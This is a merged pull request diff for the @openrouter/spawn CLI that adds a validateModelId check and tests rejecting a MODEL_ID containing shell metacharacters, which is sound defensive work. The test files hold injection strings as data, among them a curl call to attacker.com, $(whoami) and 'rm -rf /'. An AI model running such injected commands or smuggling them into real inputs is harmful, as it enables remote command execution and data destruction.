Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
2 changes: 1 addition & 1 deletion packages/cli/package.json
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
{
"name": "@openrouter/spawn",
"version": "0.16.0",
"version": "0.16.1",
"type": "module",
"bin": {
"spawn": "cli.js"
Expand Down
18 changes: 18 additions & 0 deletions packages/cli/src/__tests__/orchestrate.test.ts
Original file line number Diff line number Diff line change
Expand Up @@ -367,6 +367,24 @@ describe("runOrchestration", () => {
exitSpy.mockRestore();
});

it("rejects MODEL_ID with shell metacharacters", async () => {
const originalModelId = process.env.MODEL_ID;
process.env.MODEL_ID = '"; curl attacker.com; "';
const configure = mock(() => Promise.resolve());
const cloud = createMockCloud();
const agent = createMockAgent({
configure,
});

await runOrchestrationSafe(cloud, agent, "testagent");

// Invalid model ID should be sanitized to undefined
expect(configure).toHaveBeenCalledWith("sk-or-v1-test-key", undefined, undefined);
process.env.MODEL_ID = originalModelId;
stderrSpy.mockRestore();
exitSpy.mockRestore();
});

// ── configure hook ──────────────────────────────────────────────────

it("calls configure when defined on agent", async () => {
Expand Down
43 changes: 40 additions & 3 deletions packages/cli/src/__tests__/ui-utils.test.ts
Original file line number Diff line number Diff line change
@@ -1,8 +1,7 @@
import { describe, expect, it } from "bun:test";

const { validateServerName, validateRegionName, toKebabCase, sanitizeTermValue, jsonEscape } = await import(
"../shared/ui.js"
);
const { validateServerName, validateRegionName, validateModelId, toKebabCase, sanitizeTermValue, jsonEscape } =
await import("../shared/ui.js");

// ── validateServerName ──────────────────────────────────────────────

Expand Down Expand Up @@ -63,6 +62,44 @@ describe("validateRegionName", () => {
});
});

// ── validateModelId ─────────────────────────────────────────────────

describe("validateModelId", () => {
it("accepts valid model IDs", () => {
expect(validateModelId("anthropic/claude-3")).toBe(true);
expect(validateModelId("openai/gpt-4o")).toBe(true);
expect(validateModelId("moonshotai/kimi-k2.5")).toBe(true);
expect(validateModelId("google/gemini-pro")).toBe(true);
expect(validateModelId("meta-llama/llama-3.1-8b:free")).toBe(true);
});

it("rejects empty string", () => {
expect(validateModelId("")).toBe(false);
});

it("rejects model IDs without provider prefix", () => {
expect(validateModelId("claude-3")).toBe(false);
});

it("rejects shell injection attempts", () => {
expect(validateModelId('"; curl attacker.com; "')).toBe(false);
expect(validateModelId("$(whoami)")).toBe(false);
expect(validateModelId("`id`/model")).toBe(false);
expect(validateModelId("provider/model; rm -rf /")).toBe(false);
expect(validateModelId("provider/model\ninjection")).toBe(false);
});

it("rejects model IDs with spaces", () => {
expect(validateModelId("provider/model name")).toBe(false);
});

it("rejects model IDs starting with non-alphanumeric", () => {
expect(validateModelId("-provider/model")).toBe(false);
expect(validateModelId("/model")).toBe(false);
expect(validateModelId("provider/-model")).toBe(false);
});
});

// ── toKebabCase ─────────────────────────────────────────────────────

describe("toKebabCase", () => {
Expand Down
17 changes: 15 additions & 2 deletions packages/cli/src/shared/orchestrate.ts
Original file line number Diff line number Diff line change
Expand Up @@ -14,7 +14,16 @@ import { getOrPromptApiKey } from "./oauth";
import { startSshTunnel } from "./ssh";
import { ensureSshKeys, getSshKeyOpts } from "./ssh-keys";
import { getErrorMessage } from "./type-guards";
import { logDebug, logInfo, logStep, logWarn, openBrowser, prepareStdinForHandoff, withRetry } from "./ui";
import {
logDebug,
logInfo,
logStep,
logWarn,
openBrowser,
prepareStdinForHandoff,
validateModelId,
withRetry,
} from "./ui";

export interface CloudOrchestrator {
cloudName: string;
Expand Down Expand Up @@ -104,7 +113,11 @@ export async function runOrchestration(
}

// 4. Model ID (use agent default — no interactive prompt)
const modelId = agent.modelDefault || process.env.MODEL_ID;
const rawModelId = agent.modelDefault || process.env.MODEL_ID;
const modelId = rawModelId && validateModelId(rawModelId) ? rawModelId : undefined;
if (rawModelId && !modelId) {
logWarn(`Ignoring invalid MODEL_ID: ${rawModelId}`);
}

// 5. Size/bundle selection
await cloud.promptSize();
Expand Down
5 changes: 5 additions & 0 deletions packages/cli/src/shared/ui.ts
Original file line number Diff line number Diff line change
Expand Up @@ -271,6 +271,11 @@ export function validateRegionName(region: string): boolean {
return /^[a-zA-Z0-9_-]{1,63}$/.test(region);
}

/** Validate model ID: provider/model format, alphanumeric + slash + dash + dot + underscore + colon. */
export function validateModelId(id: string): boolean {
return /^[a-zA-Z0-9][a-zA-Z0-9_.:-]*\/[a-zA-Z0-9][a-zA-Z0-9_.:-]*$/.test(id);
}

/** Convert display name to kebab-case. */
export function toKebabCase(name: string): string {
return name
Expand Down
Loading